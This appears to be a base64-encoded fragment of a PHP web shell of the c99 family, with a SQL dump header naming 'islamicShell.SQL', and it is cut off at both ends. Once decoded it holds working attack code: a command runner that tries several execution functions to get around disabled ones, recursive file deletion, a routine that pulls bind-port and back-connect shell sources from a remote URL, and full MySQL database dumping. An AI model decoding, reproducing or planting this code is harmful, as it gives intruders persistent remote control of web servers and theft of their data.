VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gVFJVRTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAkcmVzdWx0ID0gIiI7DQogaWYgKCFlbXB0eSgkY21kKSkNCiB7DQogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lzdGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkNCiAgew0KICAgJHJlc3VsdCA9ICIiOw0KICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30NCiAgIHBjbG9zZSgkZnApOw0KICB9DQogfQ0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkge2Z1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQ0KIGVsc2UgeyR0eXBlID0gIj8iO30NCg0KICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7DQogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsNCiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOw0KICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7DQogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7DQogJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsNCg0KIGlmICgkbW9kZSAmIDB4ODAwKSB7JG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWyJleGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30NCiBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQ0KDQogcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkdWlkKSB7cmV0dXJuIEZBTFNFO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHQgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KIGVsc2UgeyR0ID0gIj8iO30NCiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogJHdbInIiXSA9ICgkbW9kZSAmIDAwMDA0KSA+IDA7ICR3WyJ3Il0gPSAoJG1vZGUgJiAwMDAwMikgPiAwOyAkd1sieCJdID0gKCRtb2RlICYgMDAwMDEpID4gMDsNCiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpDQp7DQpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpDQp7DQogJG9uZSA9IGludHZhbCgkc29ydCk7DQogJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9DQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCnsNCiBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkNCnsNCmZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pDQp7DQogZ2xvYmFsICRjOTlzaF9zb3VyY2VzdXJsOw0KICRhcnJheSA9IGFycmF5KA0KICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW5kcG9ydF9wbC50eHQiLA0KICAiYzk5c2hfYmluZHBvcnQuYyIgPT4gImM5OXNoX2JpbmRwb3J0X2MudHh0IiwNCiAgImM5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5c2hfYmFja2Nvbm5fcGwudHh0IiwNCiAgImM5OXNoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsDQogICJjOTlzaF9kYXRhcGlwZS5wbCIgPT4gImM5OXNoX2RhdGFwaXBlX3BsLnR4dCIsDQogICJjOTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5c2hfZGF0YXBpcGVfYy50eHQiLA0KICk7DQogJG5hbWUgPSAkYXJyYXlbJGZuXTsNCiBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGM5OXNoX3NvdXJjZXN1cmwuJG5hbWUpO30NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2R1bXAiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2R1bXAoJHNldCkNCnsNCiBnbG9iYWwgJHNodmVyOw0KICRzb2NrID0gJHNldFsic29jayJdOw0KICRkYiA9ICRzZXRbImRiIl07DQogJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAkbmwyYnIgPSAkc2V0WyJubDJiciJdOw0KICRmaWxlID0gJHNldFsiZmlsZSJdOw0KICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogJHRhYnMgPSAkc2V0WyJ0YWJzIl07DQogJG9ubHl0YWJzID0gJHNldFsib25seXRhYnMiXTsNCiAkcmV0ID0gYXJyYXkoKTsNCiAkcmV0WyJlcnIiXSA9IGFycmF5KCk7DQogaWYgKCFpc19yZXNvdXJjZSgkc29jaykpIHtlY2hvKCJFcnJvcjogXCRzb2NrIGlzIG5vdCB2YWxpZCByZXNvdXJjZS4iKTt9DQogaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiBpZiAoZW1wdHkoJHByaW50KSkgeyRwcmludCA9IDA7fQ0KIGlmIChlbXB0eSgkbmwyYnIpKSB7JG5sMmJyID0gMDt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiBpZiAoZW1wdHkoJGZpbGUpKQ0KIHsNCiAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KIH0NCiBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9DQogaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKQ0KIHsNCiAgLy8gcmV0cml2ZSB0YWJsZXMtbGlzdA0KICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsNCiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0NCiB9DQogJG91dCA9ICIjIER1bXBlZCBieSBpc2xhbWljU2hlbGwuU1FMIHYuICIuJHNodmVyLiINCiMgSG9tZSBwYWdlOiBodHRwOi8vc2VjdXJpdHlwcm9iZS5uZXQNCiMNCiMgSG9zdCBzZXR0aW5nczoNCiMgTXlTUUwgdmVyc2lvbjogKCIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIikgcnVubmluZyBvbiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICgiLmdldGVudigiU0VSVkVSX05BTUUiKS4iKSIuIg0KIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIg0KIyBEQjogXCIiLiRkYi4iXCINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiI7DQogJGMgPSBjb3VudCgkb25seXRhYnMpOw0KIGZvcmVhY2goJHRhYnMgYXMgJHRhYikNCiB7DQogIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkNCiAgew0KICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30NCiAgIC8vIHJlY2lldmUgcXVlcnkgZm9yIGNyZWF0ZSB0YWJsZSBzdHJ1Y3R1cmUNCiAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsNCiAgICAvLyByZWNpZXZlIHRhYmxlIHZhcmlhYmxlcw0KICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkNCiAgICB7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpDQogICAgIHsNCiAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsNCiAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7DQogICAgICAkb3V0IC49ICRzcWw7DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQogJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KIGlmICgkZmlsZSkNCiB7DQogICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgZWxzZQ0KICB7DQogICBmd3JpdGUgKCRmcCwgJG91dCk7DQogICBmY2xvc2UgKCRmcCk7DQogIH0NCiB9DQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogcmV0dXJuICRvdXQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfYnVpbGR3aGVyZSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQ0Kew0KIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQ0KICRyZXN1bHQgPSAiIjsNCiBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpDQogew0KICAkdmFsdWUgPSAiIjsNCiAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30NCiAgJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9DQogICRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsNCiB9DQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7DQogcmV0dXJuICRyZXN1bHQ7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpDQp7DQpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30NCiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogJGFycmF5ID0gYXJyYXkoKTsNCiB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30NCiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiByZXR1cm4gJGFycmF5Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spDQp7DQogaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30NCiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30NCiAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogcmV0dXJuICRlcnJvcjsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9xdWVyeV9mb3JtIikpDQp7DQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkNCnsNCiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICRzcWxfcXVlcnkgPSB1cmxkZWNvZGUoJHNxbF9xdWVyeSk7DQogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKQ0KIHsNCiAgZWNobyAiPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQ+PGZvcm0gbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPiI7DQogIGlmICgkdGJsX3N0cnVjdCkNCiAgew0KICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICB9DQogfQ0KIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpDQp7DQogJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIpLiJgOyI7DQogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30NCiBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpDQp7DQogJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAvKmFycmF5IGFycmF5KCkNCiB7DQogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksDQogICJNRVRIT0QxIi4uLg0KICAuLi4NCiB9DQogaWYgb3V0cHV0X3R5cGUgPT0gMCwgbm8gb3V0cHV0LA0KIGlmIG91dHB1dF90eXBlID09IDEsIG5vIG91dHB1dCBpZiBubyBlcnJvcg0KIGlmIG91dHB1dF90eXBlID09IDIs